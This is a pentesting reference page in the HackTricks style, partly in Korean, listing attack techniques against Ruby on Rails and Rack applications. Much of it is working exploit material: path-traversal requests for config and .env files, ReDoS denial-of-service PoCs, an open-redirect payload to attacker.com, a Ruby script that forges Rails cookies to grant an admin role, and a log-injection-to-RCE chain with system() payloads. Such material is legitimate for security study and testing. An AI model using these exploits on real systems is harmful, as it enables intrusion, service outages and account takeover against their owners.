Ruby 트릭

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

팁:

  • config/initializers/처럼 앱 시작 시 실행되는 다른 부트/이거로드 위치도 쓰기 가능하면 위험합니다. arbitrary file upload가 config/ 아래 아무 위치에나 올라가고 나중에 평가되거나 require되면 부팅 시 RCE를 획득할 수 있습니다.
  • Rails가 부팅 시 로드하는 파일을 컨테이너 이미지로 복사하는 dev/staging 빌드를 찾아보세요.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • 테스트 시 시도할 것

  • variant/processing 옵션, transformation 이름, 또는 임의의 ImageMagick 인수를 받는 엔드포인트를 식별하세요.

  • params[:t]params[:v]를 fuzzing 해 의심스러운 오류나 실행 부작용을 확인하세요. 메서드 이름을 조작하거나 MiniMagick에 도달하는 raw 인수를 전달할 수 있으면 이미지 프로세서 호스트에서 코드 실행을 얻을 수 있습니다.

  • 생성된 variant에 대한 읽기 권한만 있는 경우, 조작된 ImageMagick 작업으로 blind exfiltration을 시도해 보세요.

  • 수정/탐지

  • Active Storage + image_processing + mini_magick를 사용하고 사용자 제어 변환이 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1은 exploitable하다고 간주하세요. 업그레이드하고 메서드/파라미터에 대한 엄격한 allowlist와 강화된 ImageMagick policy 적용을 권고합니다.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • config.ru나 미들웨어 스택에 Rack::Static을 마운트한 앱을 찾아보세요. static 경로에 대해 인코딩된 traversal을 시도해 보세요. 예:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

prefix를 설정된 urls:에 맞게 조정하세요. 앱이 파일 내용을 반환하면, 해결된 :root 아래의 모든 항목에 대해 LFI를 가진 것입니다.

  • 완화: Rack을 업그레이드하고 :root가 public 파일 디렉터리만 가리키도록 명시적으로 설정하세요.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Rails/Sinatra/Hanami/Grape 등 모든 Rack 기반 스택에 대해 작동합니다. nginx/haproxy로 프론트되어 있고 keep-alive가 활성화되어 있으면 병렬로 반복해 워커를 고갈시킬 수 있습니다.
  • 패치는 파서를 선형 시간으로 수정합니다; rack gem 버전 < 3.0.9.1 또는 < 2.2.8.1을 찾으세요. 평가 시 WAF는 이 헤더가 문법적으로 유효하기 때문에 이를 차단하지 않는 경우가 많음을 지적하세요.

REXML XML parser ReDoS (CVE-2024-49761)

The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., &#1111111111111x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

프로세스가 몇 초 동안 바쁘게 유지되고 워커 CPU가 급증하면 취약할 가능성이 높습니다. 공격은 저대역폭이며 XML을 수집하는 백그라운드 작업에도 영향을 줍니다.

Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:

  • CGI::Cookie.parse는 초선형적이었고; 수천 개의 구분자를 가진 거대한 cookie 문자열이 O(N²) 동작을 유발했습니다.
  • CGI::Util#escapeElement 정규식은 HTML escaping에서 ReDoS를 허용했습니다.

Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.

The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.

Exploit flow:

  1. 피해자가 공격자가 호스팅한 조작된 Google Sign-In 링크를 클릭한다.
  2. 인증 후, gem은 공격자 제어 도메인으로 리다이렉트하고 flash notices 또는 와일드카드 도메인 범위에 있는 cookies에 저장된 모든 데이터를 leak합니다.
  3. 앱이 flash에 단기 토큰이나 magic links를 저장하는 경우, 이것은 account takeover로 이어질 수 있습니다.

During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirm via Location header and cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
노트:
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.

## 참고 (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

앱이 (종종 간단한 Rack/Sinatra/Rails 엔드포인트) 다음 둘을 모두 수행하면:
- 사용자 제어 문자열을 있는 그대로 로그에 기록하고,
- 이후 동일한 문자열에서 파생된 경로를 사용해 파일을 `load` 한다(`Pathname#cleanpath` 이후),

로그를 오염시킨 뒤 앱이 로그 파일을 `load` 하도록 유도하면 종종 remote code execution을 달성할 수 있습니다. 핵심 요소:

- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).

### 최소 취약 패턴
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

로그에 유효한 Ruby가 포함될 수 있는 이유

Logger는 다음과 같은 접두사 라인을 씁니다:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Ruby에서는 #가 주석을 시작하고 9/2/2025는 단지 산술 연산입니다. 유효한 Ruby 코드를 주입하려면 다음을 해야 합니다:

  • 페이로드를 새 줄에서 시작하여 INFO 라인의 #에 의해 주석 처리되지 않도록 하세요; 선행 개행 문자(\n 또는 %0A)를 전송하세요.
  • INFO 라인에서 도입된 늘 열린 [를 닫으세요. 일반적인 트릭은 ]로 시작하고 선택적으로 파서를 만족시키기 위해 ][0]=1을 붙이는 것입니다.
  • 그다음 임의의 Ruby 코드를 넣으세요(예: system(...)).

다음은 조작된 파라미터로 한 번 요청한 뒤 로그에 남게 될 예시입니다:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

하나의 문자열로 코드가 로깅되면서 동시에 로그 경로로 해석되게 만들기

공격자가 제어하는 단일 문자열을 원한다. 이 문자열은:

  • 원시로 로깅될 때 우리 Ruby payload를 포함하고,
  • Pathname.new(<input>).cleanpath를 거치면 ../logs/error.log로 해석되어 이후 load가 방금 오염된 로그 파일을 실행하도록.

Pathname#cleanpath는 스킴을 무시하고 트래버설 컴포넌트를 축소하므로, 다음이 작동한다:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • :// 앞의 #는 로그가 실행될 때 Ruby가 꼬리 부분을 무시하도록 하며, 반면 cleanpath는 접미사를 여전히 ../logs/error.log로 축소합니다.
  • 선행 줄바꿈은 INFO 라인에서 빠져나오게 하고; ]는 늘어진 대괄호를 닫으며; ][0]=1은 파서를 만족시킵니다.

End-to-end exploitation

  1. Send the following as the backup script name (URL-encode the first newline as %0A if needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. The app logs your raw string into logs/error.log.
  2. The app computes cleanpath which resolves to ../logs/error.log and calls load on it.
  3. Ruby executes the code you injected in the log.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (첫 문자는 줄바꿈 문자입니다):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

참고 자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기